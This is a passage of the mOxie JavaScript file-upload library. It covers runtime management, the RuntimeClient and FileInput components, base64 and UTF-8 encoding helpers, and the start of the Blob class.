2256 removeInstance: function(uid) {
2257 delete objpool[uid];
2258 },
2259
2260 removeAllInstances: function() {
2261 var self = this;
2262 Basic.each(objpool, function(obj, uid) {
2263 if (Basic.typeOf(obj.instance.destroy) === 'function') {
2264 obj.instance.destroy.call(obj.context);
2265 }
2266 self.removeInstance(uid);
2267 });
2268 }
2269 };
2270 }());
2271
2272
2273 // public methods
2274 Basic.extend(this, {
2275 /**
2276 Specifies whether runtime instance was initialized or not
2277
2278 @property initialized
2279 @type {Boolean}
2280 @default false
2281 */
2282 initialized: false, // shims require this flag to stop initialization retries
2283
2284 /**
2285 Unique ID of the runtime
2286
2287 @property uid
2288 @type {String}
2289 */
2290 uid: _uid,
2291
2292 /**
2293 Runtime type (e.g. flash, html5, etc)
2294
2295 @property type
2296 @type {String}
2297 */
2298 type: type,
2299
2300 /**
2301 Runtime (not native one) may operate in browser or client mode.
2302
2303 @property mode
2304 @private
2305 @type {String|Boolean} current mode or false, if none possible
2306 */
2307 mode: Runtime.getMode(modeCaps, (options.required_caps), defaultMode),
2308
2309 /**
2310 id of the DOM container for the runtime (if available)
2311
2312 @property shimid
2313 @type {String}
2314 */
2315 shimid: _uid + '_container',
2316
2317 /**
2318 Number of connected clients. If equal to zero, runtime can be destroyed
2319
2320 @property clients
2321 @type {Number}
2322 */
2323 clients: 0,
2324
2325 /**
2326 Runtime initialization options
2327
2328 @property options
2329 @type {Object}
2330 */
2331 options: options,
2332
2333 /**
2334 Checks if the runtime has specific capability
2335
2336 @method can
2337 @param {String} cap Name of capability to check
2338 @param {Mixed} [value] If passed, capability should somehow correlate to the value
2339 @param {Object} [refCaps] Set of capabilities to check the specified cap against (defaults to internal set)
2340 @return {Boolean} true if runtime has such capability and false, if - not
2341 */
2342 can: function(cap, value) {
2343 var refCaps = arguments[2] || caps;
2344
2345 // if cap var is a comma-separated list of caps, convert it to object (key/value)
2346 if (Basic.typeOf(cap) === 'string' && Basic.typeOf(value) === 'undefined') {
2347 cap = Runtime.parseCaps(cap);
2348 }
2349
2350 if (Basic.typeOf(cap) === 'object') {
2351 for (var key in cap) {
2352 if (!this.can(key, cap[key], refCaps)) {
2353 return false;
2354 }
2355 }
2356 return true;
2357 }
2358
2359 // check the individual cap
2360 if (Basic.typeOf(refCaps[cap]) === 'function') {
2361 return refCaps[cap].call(this, value);
2362 } else {
2363 return (value === refCaps[cap]);
2364 }
2365 },
2366
2367 /**
2368 Returns container for the runtime as DOM element
2369
2370 @method getShimContainer
2371 @return {DOMElement}
2372 */
2373 getShimContainer: function() {
2374 var container, shimContainer = Dom.get(this.shimid);
2375
2376 // if no container for shim, create one
2377 if (!shimContainer) {
2378 container = this.options.container ? Dom.get(this.options.container) : document.body;
2379
2380 // create shim container and insert it at an absolute position into the outer container
2381 shimContainer = document.createElement('div');
2382 shimContainer.id = this.shimid;
2383 shimContainer.className = 'moxie-shim moxie-shim-' + this.type;
2384
2385 Basic.extend(shimContainer.style, {
2386 position: 'absolute',
2387 top: '0px',
2388 left: '0px',
2389 width: '1px',
2390 height: '1px',
2391 overflow: 'hidden'
2392 });
2393
2394 container.appendChild(shimContainer);
2395 container = null;
2396 }
2397
2398 return shimContainer;
2399 },
2400
2401 /**
2402 Returns runtime as DOM element (if appropriate)
2403
2404 @method getShim
2405 @return {DOMElement}
2406 */
2407 getShim: function() {
2408 return _shim;
2409 },
2410
2411 /**
2412 Invokes a method within the runtime itself (might differ across the runtimes)
2413
2414 @method shimExec
2415 @param {Mixed} []
2416 @protected
2417 @return {Mixed} Depends on the action and component
2418 */
2419 shimExec: function(component, action) {
2420 var args = [].slice.call(arguments, 2);
2421 return self.getShim().exec.call(this, this.uid, component, action, args);
2422 },
2423
2424 /**
2425 Operaional interface that is used by components to invoke specific actions on the runtime
2426 (is invoked in the scope of component)
2427
2428 @method exec
2429 @param {Mixed} []*
2430 @protected
2431 @return {Mixed} Depends on the action and component
2432 */
2433 exec: function(component, action) { // this is called in the context of component, not runtime
2434 var args = [].slice.call(arguments, 2);
2435
2436 if (self[component] && self[component][action]) {
2437 return self[component][action].apply(this, args);
2438 }
2439 return self.shimExec.apply(this, arguments);
2440 },
2441
2442 /**
2443 Destroys the runtime (removes all events and deletes DOM structures)
2444
2445 @method destroy
2446 */
2447 destroy: function() {
2448 if (!self) {
2449 return; // obviously already destroyed
2450 }
2451
2452 var shimContainer = Dom.get(this.shimid);
2453 if (shimContainer) {
2454 shimContainer.parentNode.removeChild(shimContainer);
2455 }
2456
2457 if (_shim) {
2458 _shim.removeAllInstances();
2459 }
2460
2461 this.unbindAll();
2462 delete runtimes[this.uid];
2463 this.uid = null; // mark this runtime as destroyed
2464 _uid = self = _shim = shimContainer = null;
2465 }
2466 });
2467
2468 // once we got the mode, test against all caps
2469 if (this.mode && options.required_caps && !this.can(options.required_caps)) {
2470 this.mode = false;
2471 }
2472 }
2473
2474
2475 /**
2476 Default order to try different runtime types
2477
2478 @property order
2479 @type String
2480 @static
2481 */
2482 Runtime.order = 'html5,html4';
2483
2484
2485 /**
2486 Retrieves runtime from private hash by it's uid
2487
2488 @method getRuntime
2489 @private
2490 @static
2491 @param {String} uid Unique identifier of the runtime
2492 @return {Runtime|Boolean} Returns runtime, if it exists and false, if - not
2493 */
2494 Runtime.getRuntime = function(uid) {
2495 return runtimes[uid] ? runtimes[uid] : false;
2496 };
2497
2498
2499 /**
2500 Register constructor for the Runtime of new (or perhaps modified) type
2501
2502 @method addConstructor
2503 @static
2504 @param {String} type Runtime type (e.g. flash, html5, etc)
2505 @param {Function} construct Constructor for the Runtime type
2506 */
2507 Runtime.addConstructor = function(type, constructor) {
2508 constructor.prototype = EventTarget.instance;
2509 runtimeConstructors[type] = constructor;
2510 };
2511
2512
2513 /**
2514 Get the constructor for the specified type.
2515
2516 method getConstructor
2517 @static
2518 @param {String} type Runtime type (e.g. flash, html5, etc)
2519 @return {Function} Constructor for the Runtime type
2520 */
2521 Runtime.getConstructor = function(type) {
2522 return runtimeConstructors[type] || null;
2523 };
2524
2525
2526 /**
2527 Get info about the runtime (uid, type, capabilities)
2528
2529 @method getInfo
2530 @static
2531 @param {String} uid Unique identifier of the runtime
2532 @return {Mixed} Info object or null if runtime doesn't exist
2533 */
2534 Runtime.getInfo = function(uid) {
2535 var runtime = Runtime.getRuntime(uid);
2536
2537 if (runtime) {
2538 return {
2539 uid: runtime.uid,
2540 type: runtime.type,
2541 mode: runtime.mode,
2542 can: function() {
2543 return runtime.can.apply(runtime, arguments);
2544 }
2545 };
2546 }
2547 return null;
2548 };
2549
2550
2551 /**
2552 Convert caps represented by a comma-separated string to the object representation.
2553
2554 @method parseCaps
2555 @static
2556 @param {String} capStr Comma-separated list of capabilities
2557 @return {Object}
2558 */
2559 Runtime.parseCaps = function(capStr) {
2560 var capObj = {};
2561
2562 if (Basic.typeOf(capStr) !== 'string') {
2563 return capStr || {};
2564 }
2565
2566 Basic.each(capStr.split(','), function(key) {
2567 capObj[key] = true; // we assume it to be - true
2568 });
2569
2570 return capObj;
2571 };
2572
2573 /**
2574 Test the specified runtime for specific capabilities.
2575
2576 @method can
2577 @static
2578 @param {String} type Runtime type (e.g. flash, html5, etc)
2579 @param {String|Object} caps Set of capabilities to check
2580 @return {Boolean} Result of the test
2581 */
2582 Runtime.can = function(type, caps) {
2583 var runtime
2584 , constructor = Runtime.getConstructor(type)
2585 , mode
2586 ;
2587 if (constructor) {
2588 runtime = new constructor({
2589 required_caps: caps
2590 });
2591 mode = runtime.mode;
2592 runtime.destroy();
2593 return !!mode;
2594 }
2595 return false;
2596 };
2597
2598
2599 /**
2600 Figure out a runtime that supports specified capabilities.
2601
2602 @method thatCan
2603 @static
2604 @param {String|Object} caps Set of capabilities to check
2605 @param {String} [runtimeOrder] Comma-separated list of runtimes to check against
2606 @return {String} Usable runtime identifier or null
2607 */
2608 Runtime.thatCan = function(caps, runtimeOrder) {
2609 var types = (runtimeOrder || Runtime.order).split(/\s*,\s*/);
2610 for (var i in types) {
2611 if (Runtime.can(types[i], caps)) {
2612 return types[i];
2613 }
2614 }
2615 return null;
2616 };
2617
2618
2619 /**
2620 Figure out an operational mode for the specified set of capabilities.
2621
2622 @method getMode
2623 @static
2624 @param {Object} modeCaps Set of capabilities that depend on particular runtime mode
2625 @param {Object} [requiredCaps] Supplied set of capabilities to find operational mode for
2626 @param {String|Boolean} [defaultMode='browser'] Default mode to use
2627 @return {String|Boolean} Compatible operational mode
2628 */
2629 Runtime.getMode = function(modeCaps, requiredCaps, defaultMode) {
2630 var mode = null;
2631
2632 if (Basic.typeOf(defaultMode) === 'undefined') { // only if not specified
2633 defaultMode = 'browser';
2634 }
2635
2636 if (requiredCaps && !Basic.isEmptyObj(modeCaps)) {
2637 // loop over required caps and check if they do require the same mode
2638 Basic.each(requiredCaps, function(value, cap) {
2639 if (modeCaps.hasOwnProperty(cap)) {
2640 var capMode = modeCaps[cap](value);
2641
2642 // make sure we always have an array
2643 if (typeof(capMode) === 'string') {
2644 capMode = [capMode];
2645 }
2646
2647 if (!mode) {
2648 mode = capMode;
2649 } else if (!(mode = Basic.arrayIntersect(mode, capMode))) {
2650 // if cap requires conflicting mode - runtime cannot fulfill required caps
2651
2652 if (MXI_DEBUG && Env.debug.runtime) {
2653 Env.log("\t\t%c: %v (conflicting mode requested: %s)", cap, value, capMode);
2654 }
2655
2656 return (mode = false);
2657 }
2658 }
2659
2660 if (MXI_DEBUG && Env.debug.runtime) {
2661 Env.log("\t\t%c: %v (compatible modes: %s)", cap, value, mode);
2662 }
2663 });
2664
2665 if (mode) {
2666 return Basic.inArray(defaultMode, mode) !== -1 ? defaultMode : mode[0];
2667 } else if (mode === false) {
2668 return false;
2669 }
2670 }
2671 return defaultMode;
2672 };
2673
2674
2675 /**
2676 Capability check that always returns true
2677
2678 @private
2679 @static
2680 @return {True}
2681 */
2682 Runtime.capTrue = function() {
2683 return true;
2684 };
2685
2686 /**
2687 Capability check that always returns false
2688
2689 @private
2690 @static
2691 @return {False}
2692 */
2693 Runtime.capFalse = function() {
2694 return false;
2695 };
2696
2697 /**
2698 Evaluate the expression to boolean value and create a function that always returns it.
2699
2700 @private
2701 @static
2702 @param {Mixed} expr Expression to evaluate
2703 @return {Function} Function returning the result of evaluation
2704 */
2705 Runtime.capTest = function(expr) {
2706 return function() {
2707 return !!expr;
2708 };
2709 };
2710
2711 return Runtime;
2712});
2713
2714// Included from: src/javascript/runtime/RuntimeClient.js
2715
2716/**
2717 * RuntimeClient.js
2718 *
2719 * Copyright 2013, Moxiecode Systems AB
2720 * Released under GPL License.
2721 *
2722 * License: http://www.plupload.com/license
2723 * Contributing: http://www.plupload.com/contributing
2724 */
2725
2726define('moxie/runtime/RuntimeClient', [
2727 'moxie/core/utils/Env',
2728 'moxie/core/Exceptions',
2729 'moxie/core/utils/Basic',
2730 'moxie/runtime/Runtime'
2731], function(Env, x, Basic, Runtime) {
2732 /**
2733 Set of methods and properties, required by a component to acquire ability to connect to a runtime
2734
2735 @class RuntimeClient
2736 */
2737 return function RuntimeClient() {
2738 var runtime;
2739
2740 Basic.extend(this, {
2741 /**
2742 Connects to the runtime specified by the options. Will either connect to existing runtime or create a new one.
2743 Increments number of clients connected to the specified runtime.
2744
2745 @private
2746 @method connectRuntime
2747 @param {Mixed} options Can be a runtme uid or a set of key-value pairs defining requirements and pre-requisites
2748 */
2749 connectRuntime: function(options) {
2750 var comp = this, ruid;
2751
2752 function initialize(items) {
2753 var type, constructor;
2754
2755 // if we ran out of runtimes
2756 if (!items.length) {
2757 comp.trigger('RuntimeError', new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR));
2758 runtime = null;
2759 return;
2760 }
2761
2762 type = items.shift().toLowerCase();
2763 constructor = Runtime.getConstructor(type);
2764 if (!constructor) {
2765 initialize(items);
2766 return;
2767 }
2768
2769 if (MXI_DEBUG && Env.debug.runtime) {
2770 Env.log("Trying runtime: %s", type);
2771 Env.log(options);
2772 }
2773
2774 // try initializing the runtime
2775 runtime = new constructor(options);
2776
2777 runtime.bind('Init', function() {
2778 // mark runtime as initialized
2779 runtime.initialized = true;
2780
2781 if (MXI_DEBUG && Env.debug.runtime) {
2782 Env.log("Runtime '%s' initialized", runtime.type);
2783 }
2784
2785 // jailbreak ...
2786 setTimeout(function() {
2787 runtime.clients++;
2788 // this will be triggered on component
2789 comp.trigger('RuntimeInit', runtime);
2790 }, 1);
2791 });
2792
2793 runtime.bind('Error', function() {
2794 if (MXI_DEBUG && Env.debug.runtime) {
2795 Env.log("Runtime '%s' failed to initialize", runtime.type);
2796 }
2797
2798 runtime.destroy(); // runtime cannot destroy itself from inside at a right moment, thus we do it here
2799 initialize(items);
2800 });
2801
2802 /*runtime.bind('Exception', function() { });*/
2803
2804 if (MXI_DEBUG && Env.debug.runtime) {
2805 Env.log("\tselected mode: %s", runtime.mode);
2806 }
2807
2808 // check if runtime managed to pick-up operational mode
2809 if (!runtime.mode) {
2810 runtime.trigger('Error');
2811 return;
2812 }
2813
2814 runtime.init();
2815 }
2816
2817 // check if a particular runtime was requested
2818 if (Basic.typeOf(options) === 'string') {
2819 ruid = options;
2820 } else if (Basic.typeOf(options.ruid) === 'string') {
2821 ruid = options.ruid;
2822 }
2823
2824 if (ruid) {
2825 runtime = Runtime.getRuntime(ruid);
2826 if (runtime) {
2827 runtime.clients++;
2828 return runtime;
2829 } else {
2830 // there should be a runtime and there's none - weird case
2831 throw new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR);
2832 }
2833 }
2834
2835 // initialize a fresh one, that fits runtime list and required features best
2836 initialize((options.runtime_order || Runtime.order).split(/\s*,\s*/));
2837 },
2838
2839
2840 /**
2841 Disconnects from the runtime. Decrements number of clients connected to the specified runtime.
2842
2843 @private
2844 @method disconnectRuntime
2845 */
2846 disconnectRuntime: function() {
2847 if (runtime && --runtime.clients <= 0) {
2848 runtime.destroy();
2849 }
2850
2851 // once the component is disconnected, it shouldn't have access to the runtime
2852 runtime = null;
2853 },
2854
2855
2856 /**
2857 Returns the runtime to which the client is currently connected.
2858
2859 @method getRuntime
2860 @return {Runtime} Runtime or null if client is not connected
2861 */
2862 getRuntime: function() {
2863 if (runtime && runtime.uid) {
2864 return runtime;
2865 }
2866 return runtime = null; // make sure we do not leave zombies rambling around
2867 },
2868
2869
2870 /**
2871 Handy shortcut to safely invoke runtime extension methods.
2872
2873 @private
2874 @method exec
2875 @return {Mixed} Whatever runtime extension method returns
2876 */
2877 exec: function() {
2878 if (runtime) {
2879 return runtime.exec.apply(this, arguments);
2880 }
2881 return null;
2882 }
2883
2884 });
2885 };
2886
2887
2888});
2889
2890// Included from: src/javascript/file/FileInput.js
2891
2892/**
2893 * FileInput.js
2894 *
2895 * Copyright 2013, Moxiecode Systems AB
2896 * Released under GPL License.
2897 *
2898 * License: http://www.plupload.com/license
2899 * Contributing: http://www.plupload.com/contributing
2900 */
2901
2902define('moxie/file/FileInput', [
2903 'moxie/core/utils/Basic',
2904 'moxie/core/utils/Env',
2905 'moxie/core/utils/Mime',
2906 'moxie/core/utils/Dom',
2907 'moxie/core/Exceptions',
2908 'moxie/core/EventTarget',
2909 'moxie/core/I18n',
2910 'moxie/runtime/Runtime',
2911 'moxie/runtime/RuntimeClient'
2912], function(Basic, Env, Mime, Dom, x, EventTarget, I18n, Runtime, RuntimeClient) {
2913 /**
2914 Provides a convenient way to create cross-browser file-picker. Generates file selection dialog on click,
2915 converts selected files to _File_ objects, to be used in conjunction with _Image_, preloaded in memory
2916 with _FileReader_ or uploaded to a server through _XMLHttpRequest_.
2917
2918 @class FileInput
2919 @constructor
2920 @extends EventTarget
2921 @uses RuntimeClient
2922 @param {Object|String|DOMElement} options If options is string or node, argument is considered as _browse\_button_.
2923 @param {String|DOMElement} options.browse_button DOM Element to turn into file picker.
2924 @param {Array} [options.accept] Array of mime types to accept. By default accepts all.
2925 @param {String} [options.file='file'] Name of the file field (not the filename).
2926 @param {Boolean} [options.multiple=false] Enable selection of multiple files.
2927 @param {Boolean} [options.directory=false] Turn file input into the folder input (cannot be both at the same time).
2928 @param {String|DOMElement} [options.container] DOM Element to use as a container for file-picker. Defaults to parentNode
2929 for _browse\_button_.
2930 @param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support.
2931
2932 @example
2933 <div id="container">
2934 <a id="file-picker" href="javascript:;">Browse...</a>
2935 </div>
2936
2937 <script>
2938 var fileInput = new mOxie.FileInput({
2939 browse_button: 'file-picker', // or document.getElementById('file-picker')
2940 container: 'container',
2941 accept: [
2942 {title: "Image files", extensions: "jpg,gif,png"} // accept only images
2943 ],
2944 multiple: true // allow multiple file selection
2945 });
2946
2947 fileInput.onchange = function(e) {
2948 // do something to files array
2949 console.info(e.target.files); // or this.files or fileInput.files
2950 };
2951
2952 fileInput.init(); // initialize
2953 </script>
2954 */
2955 var dispatches = [
2956 /**
2957 Dispatched when runtime is connected and file-picker is ready to be used.
2958
2959 @event ready
2960 @param {Object} event
2961 */
2962 'ready',
2963
2964 /**
2965 Dispatched right after [ready](#event_ready) event, and whenever [refresh()](#method_refresh) is invoked.
2966 Check [corresponding documentation entry](#method_refresh) for more info.
2967
2968 @event refresh
2969 @param {Object} event
2970 */
2971
2972 /**
2973 Dispatched when selection of files in the dialog is complete.
2974
2975 @event change
2976 @param {Object} event
2977 */
2978 'change',
2979
2980 'cancel', // TODO: might be useful
2981
2982 /**
2983 Dispatched when mouse cursor enters file-picker area. Can be used to style element
2984 accordingly.
2985
2986 @event mouseenter
2987 @param {Object} event
2988 */
2989 'mouseenter',
2990
2991 /**
2992 Dispatched when mouse cursor leaves file-picker area. Can be used to style element
2993 accordingly.
2994
2995 @event mouseleave
2996 @param {Object} event
2997 */
2998 'mouseleave',
2999
3000 /**
3001 Dispatched when functional mouse button is pressed on top of file-picker area.
3002
3003 @event mousedown
3004 @param {Object} event
3005 */
3006 'mousedown',
3007
3008 /**
3009 Dispatched when functional mouse button is released on top of file-picker area.
3010
3011 @event mouseup
3012 @param {Object} event
3013 */
3014 'mouseup'
3015 ];
3016
3017 function FileInput(options) {
3018 if (MXI_DEBUG) {
3019 Env.log("Instantiating FileInput...");
3020 }
3021
3022 var self = this,
3023 container, browseButton, defaults;
3024
3025 // if flat argument passed it should be browse_button id
3026 if (Basic.inArray(Basic.typeOf(options), ['string', 'node']) !== -1) {
3027 options = { browse_button : options };
3028 }
3029
3030 // this will help us to find proper default container
3031 browseButton = Dom.get(options.browse_button);
3032 if (!browseButton) {
3033 // browse button is required
3034 throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
3035 }
3036
3037 // figure out the options
3038 defaults = {
3039 accept: [{
3040 title: I18n.translate('All Files'),
3041 extensions: '*'
3042 }],
3043 name: 'file',
3044 multiple: false,
3045 required_caps: false,
3046 container: browseButton.parentNode || document.body
3047 };
3048
3049 options = Basic.extend({}, defaults, options);
3050
3051 // convert to object representation
3052 if (typeof(options.required_caps) === 'string') {
3053 options.required_caps = Runtime.parseCaps(options.required_caps);
3054 }
3055
3056 // normalize accept option (could be list of mime types or array of title/extensions pairs)
3057 if (typeof(options.accept) === 'string') {
3058 options.accept = Mime.mimes2extList(options.accept);
3059 }
3060
3061 container = Dom.get(options.container);
3062 // make sure we have container
3063 if (!container) {
3064 container = document.body;
3065 }
3066
3067 // make container relative, if it's not
3068 if (Dom.getStyle(container, 'position') === 'static') {
3069 container.style.position = 'relative';
3070 }
3071
3072 container = browseButton = null; // IE
3073
3074 RuntimeClient.call(self);
3075
3076 Basic.extend(self, {
3077 /**
3078 Unique id of the component
3079
3080 @property uid
3081 @protected
3082 @readOnly
3083 @type {String}
3084 @default UID
3085 */
3086 uid: Basic.guid('uid_'),
3087
3088 /**
3089 Unique id of the connected runtime, if any.
3090
3091 @property ruid
3092 @protected
3093 @type {String}
3094 */
3095 ruid: null,
3096
3097 /**
3098 Unique id of the runtime container. Useful to get hold of it for various manipulations.
3099
3100 @property shimid
3101 @protected
3102 @type {String}
3103 */
3104 shimid: null,
3105
3106 /**
3107 Array of selected mOxie.File objects
3108
3109 @property files
3110 @type {Array}
3111 @default null
3112 */
3113 files: null,
3114
3115 /**
3116 Initializes the file-picker, connects it to runtime and dispatches event ready when done.
3117
3118 @method init
3119 */
3120 init: function() {
3121 self.bind('RuntimeInit', function(e, runtime) {
3122 self.ruid = runtime.uid;
3123 self.shimid = runtime.shimid;
3124
3125 self.bind("Ready", function() {
3126 self.trigger("Refresh");
3127 }, 999);
3128
3129 // re-position and resize shim container
3130 self.bind('Refresh', function() {
3131 var pos, size, browseButton, shimContainer;
3132
3133 browseButton = Dom.get(options.browse_button);
3134 shimContainer = Dom.get(runtime.shimid); // do not use runtime.getShimContainer(), since it will create container if it doesn't exist
3135
3136 if (browseButton) {
3137 pos = Dom.getPos(browseButton, Dom.get(options.container));
3138 size = Dom.getSize(browseButton);
3139
3140 if (shimContainer) {
3141 Basic.extend(shimContainer.style, {
3142 top : pos.y + 'px',
3143 left : pos.x + 'px',
3144 width : size.w + 'px',
3145 height : size.h + 'px'
3146 });
3147 }
3148 }
3149 shimContainer = browseButton = null;
3150 });
3151
3152 runtime.exec.call(self, 'FileInput', 'init', options);
3153 });
3154
3155 // runtime needs: options.required_features, options.runtime_order and options.container
3156 self.connectRuntime(Basic.extend({}, options, {
3157 required_caps: {
3158 select_file: true
3159 }
3160 }));
3161 },
3162
3163 /**
3164 Disables file-picker element, so that it doesn't react to mouse clicks.
3165
3166 @method disable
3167 @param {Boolean} [state=true] Disable component if - true, enable if - false
3168 */
3169 disable: function(state) {
3170 var runtime = this.getRuntime();
3171 if (runtime) {
3172 runtime.exec.call(this, 'FileInput', 'disable', Basic.typeOf(state) === 'undefined' ? true : state);
3173 }
3174 },
3175
3176
3177 /**
3178 Reposition and resize dialog trigger to match the position and size of browse_button element.
3179
3180 @method refresh
3181 */
3182 refresh: function() {
3183 self.trigger("Refresh");
3184 },
3185
3186
3187 /**
3188 Destroy component.
3189
3190 @method destroy
3191 */
3192 destroy: function() {
3193 var runtime = this.getRuntime();
3194 if (runtime) {
3195 runtime.exec.call(this, 'FileInput', 'destroy');
3196 this.disconnectRuntime();
3197 }
3198
3199 if (Basic.typeOf(this.files) === 'array') {
3200 // no sense in leaving associated files behind
3201 Basic.each(this.files, function(file) {
3202 file.destroy();
3203 });
3204 }
3205 this.files = null;
3206
3207 this.unbindAll();
3208 }
3209 });
3210
3211 this.handleEventProps(dispatches);
3212 }
3213
3214 FileInput.prototype = EventTarget.instance;
3215
3216 return FileInput;
3217});
3218
3219// Included from: src/javascript/core/utils/Encode.js
3220
3221/**
3222 * Encode.js
3223 *
3224 * Copyright 2013, Moxiecode Systems AB
3225 * Released under GPL License.
3226 *
3227 * License: http://www.plupload.com/license
3228 * Contributing: http://www.plupload.com/contributing
3229 */
3230
3231define('moxie/core/utils/Encode', [], function() {
3232
3233 /**
3234 Encode string with UTF-8
3235
3236 @method utf8_encode
3237 @for Utils
3238 @static
3239 @param {String} str String to encode
3240 @return {String} UTF-8 encoded string
3241 */
3242 var utf8_encode = function(str) {
3243 return unescape(encodeURIComponent(str));
3244 };
3245
3246 /**
3247 Decode UTF-8 encoded string
3248
3249 @method utf8_decode
3250 @static
3251 @param {String} str String to decode
3252 @return {String} Decoded string
3253 */
3254 var utf8_decode = function(str_data) {
3255 return decodeURIComponent(escape(str_data));
3256 };
3257
3258 /**
3259 Decode Base64 encoded string (uses browser's default method if available),
3260 from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_decode.js
3261
3262 @method atob
3263 @static
3264 @param {String} data String to decode
3265 @return {String} Decoded string
3266 */
3267 var atob = function(data, utf8) {
3268 if (typeof(window.atob) === 'function') {
3269 return utf8 ? utf8_decode(window.atob(data)) : window.atob(data);
3270 }
3271
3272 // http://kevin.vanzonneveld.net
3273 // + original by: Tyler Akins (http://rumkin.com)
3274 // + improved by: Thunder.m
3275 // + input by: Aman Gupta
3276 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3277 // + bugfixed by: Onno Marsman
3278 // + bugfixed by: Pellentesque Malesuada
3279 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3280 // + input by: Brett Zamir (http://brett-zamir.me)
3281 // + bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3282 // * example 1: base64_decode('S2V2aW4gdmFuIFpvbm5ldmVsZA==');
3283 // * returns 1: 'Kevin van Zonneveld'
3284 // mozilla has this native
3285 // - but breaks in 2.0.0.12!
3286 //if (typeof this.window.atob == 'function') {
3287 // return atob(data);
3288 //}
3289 var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
3290 var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
3291 ac = 0,
3292 dec = "",
3293 tmp_arr = [];
3294
3295 if (!data) {
3296 return data;
3297 }
3298
3299 data += '';
3300
3301 do { // unpack four hexets into three octets using index points in b64
3302 h1 = b64.indexOf(data.charAt(i++));
3303 h2 = b64.indexOf(data.charAt(i++));
3304 h3 = b64.indexOf(data.charAt(i++));
3305 h4 = b64.indexOf(data.charAt(i++));
3306
3307 bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
3308
3309 o1 = bits >> 16 & 0xff;
3310 o2 = bits >> 8 & 0xff;
3311 o3 = bits & 0xff;
3312
3313 if (h3 == 64) {
3314 tmp_arr[ac++] = String.fromCharCode(o1);
3315 } else if (h4 == 64) {
3316 tmp_arr[ac++] = String.fromCharCode(o1, o2);
3317 } else {
3318 tmp_arr[ac++] = String.fromCharCode(o1, o2, o3);
3319 }
3320 } while (i < data.length);
3321
3322 dec = tmp_arr.join('');
3323
3324 return utf8 ? utf8_decode(dec) : dec;
3325 };
3326
3327 /**
3328 Base64 encode string (uses browser's default method if available),
3329 from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_encode.js
3330
3331 @method btoa
3332 @static
3333 @param {String} data String to encode
3334 @return {String} Base64 encoded string
3335 */
3336 var btoa = function(data, utf8) {
3337 if (utf8) {
3338 data = utf8_encode(data);
3339 }
3340
3341 if (typeof(window.btoa) === 'function') {
3342 return window.btoa(data);
3343 }
3344
3345 // http://kevin.vanzonneveld.net
3346 // + original by: Tyler Akins (http://rumkin.com)
3347 // + improved by: Bayron Guevara
3348 // + improved by: Thunder.m
3349 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3350 // + bugfixed by: Pellentesque Malesuada
3351 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3352 // + improved by: Rafał Kukawski (http://kukawski.pl)
3353 // * example 1: base64_encode('Kevin van Zonneveld');
3354 // * returns 1: 'S2V2aW4gdmFuIFpvbm5ldmVsZA=='
3355 // mozilla has this native
3356 // - but breaks in 2.0.0.12!
3357 var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
3358 var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
3359 ac = 0,
3360 enc = "",
3361 tmp_arr = [];
3362
3363 if (!data) {
3364 return data;
3365 }
3366
3367 do { // pack three octets into four hexets
3368 o1 = data.charCodeAt(i++);
3369 o2 = data.charCodeAt(i++);
3370 o3 = data.charCodeAt(i++);
3371
3372 bits = o1 << 16 | o2 << 8 | o3;
3373
3374 h1 = bits >> 18 & 0x3f;
3375 h2 = bits >> 12 & 0x3f;
3376 h3 = bits >> 6 & 0x3f;
3377 h4 = bits & 0x3f;
3378
3379 // use hexets to index into b64, and append result to encoded string
3380 tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
3381 } while (i < data.length);
3382
3383 enc = tmp_arr.join('');
3384
3385 var r = data.length % 3;
3386
3387 return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
3388 };
3389
3390
3391 return {
3392 utf8_encode: utf8_encode,
3393 utf8_decode: utf8_decode,
3394 atob: atob,
3395 btoa: btoa
3396 };
3397});
3398
3399// Included from: src/javascript/file/Blob.js
3400
3401/**
3402 * Blob.js
3403 *
3404 * Copyright 2013, Moxiecode Systems AB
3405 * Released under GPL License.
3406 *
3407 * License: http://www.plupload.com/license
3408 * Contributing: http://www.plupload.com/contributing
3409 */
3410
3411define('moxie/file/Blob', [
3412 'moxie/core/utils/Basic',
3413 'moxie/core/utils/Encode',
3414 'moxie/runtime/RuntimeClient'
3415], function(Basic, Encode, RuntimeClient) {
3416
3417 var blobpool = {};
3418
3419 /**
3420 @class Blob
3421 @constructor
3422 @param {String} ruid Unique id of the runtime, to which this blob belongs to
3423 @param {Object} blob Object "Native" blob object, as it is represented in the runtime
3424 */
3425 function Blob(ruid, blob) {
3426
3427 function _sliceDetached(start, end, type) {
3428 var blob, data = blobpool[this.uid];
3429
3430 if (Basic.typeOf(data) !== 'string' || !data.length) {
3431 return null; // or throw exception
3432 }
3433
3434 blob = new Blob(null, {
3435 type: type,
3436 size: end - start
3437 });
3438 blob.detach(data.substr(start, blob.size));
3439
3440 return blob;
3441 }
3442
3443 RuntimeClient.call(this);
3444
3445 if (ruid) {
3446 this.connectRuntime(ruid);
3447 }
3448
3449 if (!blob) {
3450 blob = {};
3451 } else if (Basic.typeOf(blob) === 'string') { // dataUrl or binary string
3452 blob = { data: blob };
3453 }
3454
3455 Basic.extend(this, {
3456
3457 /**
3458 Unique id of the component
3459
3460 @property uid
3461 @type {String}
3462 */
3463 uid: blob.uid || Basic.guid('uid_'),
3464
3465 /**
3466 Unique id of the connected runtime, if falsy, then runtime will have to be initialized
3467 before this Blob can be used, modified or sent
3468
3469 @property ruid
3470 @type {String}
3471 */
3472 ruid: ruid,
3473
3474 /**
3475 Size of blob
3476
